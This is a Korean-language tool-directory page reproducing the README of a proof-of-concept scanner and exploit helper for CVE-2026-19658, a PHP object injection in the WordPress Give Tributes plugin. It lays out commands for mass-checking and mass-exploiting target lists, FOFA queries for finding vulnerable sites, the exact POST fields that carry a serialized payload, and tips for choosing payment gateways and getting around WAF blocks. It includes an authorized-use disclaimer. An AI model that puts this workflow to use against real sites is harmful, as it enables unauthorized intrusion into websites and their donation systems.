Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-19658 — CVE-2026-19658용 Python 3 검사기 및 익스플로잇 도우미로, WordPress Give Tributes PHP 객체 주입 취약점을 다루며 FOFA 대상 탐색과 레거시 기부 양식 익스플로잇 기능을 제공합니다. | Kitploit
도구/GitHubGitHub/murrez/cve-2026-19658
ReconnaissanceVulnerability ScannersVulnerability AnalysisExploitationScripting & AutomationWeb Application ExploitationInformation GatheringWeb SecurityPenetration TestingPayload Development
GitHub
140일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
murrez/cve-2026-19658

CVE-2026-19658

CVE-2026-19658용 Python 3 검사기 및 익스플로잇 도우미로, WordPress Give Tributes PHP 객체 주입 취약점을 다루며 FOFA 대상 탐색과 레거시 기부 양식 익스플로잇 기능을 제공합니다.

저장소 보기

CVE-2026-19658 — Give Tributes 인증되지 않은 PHP 객체 주입

WordPress 애드온 Give - Tributes(Liquid Web / GiveWP)의 **CVE-2026-19658**에 대한 Python 3 개념 증명 스캐너 및 기부 체인 익스플로잇 도우미입니다.

플랫폼WordPress 플러그인 (GiveWP 코어 필요)
구성 요소Give - Tributes
영향 받는 버전≤ 2.3.1
수정된 버전2.3.1.1+ (정제된 다중 수신자 eCard 필드)
CVSS9.8 심각
인증인증되지 않음 (레거시 기부 양식)
CWECWE-502 — 신뢰할 수 없는 데이터의 역직렬화
할당자Wordfence

요약

eCard에 대해 Allow Multiple Recipients가 활성화되어 있고 eCard custom message가 비활성화(기본값)된 경우, 취약한 버전은 원시 $_POST eCard 수신자 데이터를 기부 메타에 저장합니다. GiveWP 필드 유효성 검사는 $_POST의 give_clean() 복사본을 사용하지만(직렬화된 문자열은 여기서 비워짐), insert_tribute_data()는 정제되지 않은 $_POST를 읽으므로 두 번째 수신자의 first_name / last_name에 PHP 직렬화 객체가 포함될 수 있습니다.

영향: Give Tributes 단독으로는 알려진 POP 체인이 없습니다. 메타는 읽을 때(예: 관리자 eCard 미리보기/재전송) 역직렬화됩니다. RCE 또는 파괴적 영향은 다른 설치된 플러그인이나 테마의 가젯 체인이 필요합니다.

서버 측 전제 조건

  1. Give Tributes ≤ 2.3.1
  2. Allow Multiple Recipients 활성화 (전역 또는 양식별)
  3. eCard Custom Message 비활성화 (기본값)
  4. 공개 레거시 Give 양식 ([give_form] / v2), v3 전용 Visual Form Builder 아님
  5. 테스트에서 기부를 완료할 수 있는 결제 게이트웨이 (개발/스테이징에서는 종종 manual)

요구 사항

  • Python 3.8+
  • pip install -r requirements.txt

빠른 시작

root@kitploit:~
pip install -r requirements.txt

# 단일 대상 — 확인 (--list의 경우 기본적으로 터미널 흐름 활성화)
python poc.py -u https://target.example --mode check

# 대량 확인
python poc.py --list targets.example.txt --mode check --threads 20 --flow

# 단일 대상 — 익스플로잇 (승인된 대상만)
python poc.py -u https://target.example --mode exploit \
  --form-url /donate/ --form-id 123 --gateway manual \
  --payload 'O:8:"stdClass":0:{}'

# 확인 출력에서 대량 익스플로잇
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
  --vuln-list exploited.txt

FOFA → 대상 목록

예시:

root@kitploit:~
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"

호스트 목록 (한 줄에 도메인 하나):

root@kitploit:~
python poc.py --list my_hosts.txt --mode check --threads 20 --flow

FOFA CSV 내보내기:

root@kitploit:~
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20

CLI 옵션

익스플로잇 실행 시 **--vuln-list exploited.txt**를 사용하여 hits.txt의 확인 적중이 덮어쓰이지 않도록 하세요.

출력 파일

확인 status 값

원격 스캔은 "Allow Multiple Recipients"를 안정적으로 확인할 수 없습니다; 후보는 익스플로잇 시점에 여전히 실패할 수 있습니다.

익스플로잇 참고 사항

  • PoC는 두 개의 eCard 수신자를 전송합니다; 페이로드는 두 번째 first_name 필드입니다.
  • manual 게이트웨이는 프로덕션에서 종종 비활성화됩니다 — 양식에 표시되는 게이트웨이(stripe, paypal, test, …)를 시도하세요.
  • 성공하려면 Give 영수증 마커가 필요합니다("thank you"가 포함된 일반 페이지 문구가 아님). 양식이 여전히 존재하는 동일한 URL은 성공으로 간주되지 않습니다.
  • give validation rejected donation: tribute/notify 옵션, 금액 또는 게이트웨이 불일치.
  • HTTP 403: POST를 차단하는 WAF (Sucuri, MalCare 등).
  • v3 전용 양식: 레거시 양식 URL을 사용하거나 건너뛰세요(프로세서가 레거시 엔드포인트에서 v3 ID를 거부함).

POST 형태 (레거시 양식)

root@kitploit:~
give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…

저장소 구조

root@kitploit:~
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

로컬 스캔 목록 및 실행 산출물(list.txt, fofa*.csv, *.jsonl, hits.txt, …)은 .gitignore에 있으며 커밋해서는 안 됩니다.

참고 자료

  • NVD — CVE-2026-19658
  • Give Tributes readme (수정 사항 2.3.1.1)
  • GiveWP 플러그인

법적 고지

승인된 보안 테스트 및 교육 목적으로만 사용하세요. 관련 법률 및 프로그램 규칙을 준수할 책임은 사용자에게 있습니다.

도구 다운로드
옵션설명
-u, --url단일 기본 URL
--listURL 목록, 호스트 파일 또는 candidates.jsonl
--modecheck 또는 exploit
--form-url기부 페이지 경로 또는 전체 URL
--form-idGive 양식 게시물 ID
--paths양식을 크롤링할 추가 경로
--payload두 번째 수신자 first_name용 직렬화 객체
--gatewayGive payment-mode (기본값 manual)
--email기부자 give_email
--flow대량 실행 시 대상당 한 줄 (기본값 --list와 함께)
--no-flow진행 요약만
--quiet, -q최소 콘솔 출력
--threads, -j대량 동시성 (기본값 12)
--outputJSONL 로그 (기본값 cve_2026_19658_results.jsonl)
--vuln-list텍스트 적중/익스플로잇 라인 (기본값 hits.txt)
--candidates-list확인 메타데이터 JSONL (기본값 candidates.jsonl)
파일모드내용
cve_2026_19658_results.jsonl둘 다대상당 전체 JSON
hits.txtcheck**exploitable_candidate**가 있는 URL
candidates.jsonlcheckbest_form, 버전 힌트
exploited.txtexploit기부가 확인된 경우 url|payment=…
상태의미
candidate취약한 플러그인 + Give + tributes UI가 있는 레거시 양식
vulnerable_no_form플러그인/버전은 OK이지만 크롤링된 경로에서 적합한 양식을 찾지 못함
patchedTributes > 2.3.1 또는 ≥ 2.3.1.1 (버전을 읽을 수 있는 경우)
give_onlyTributes를 감지할 수 없는 Give
no_pluginTributes가 감지되지 않음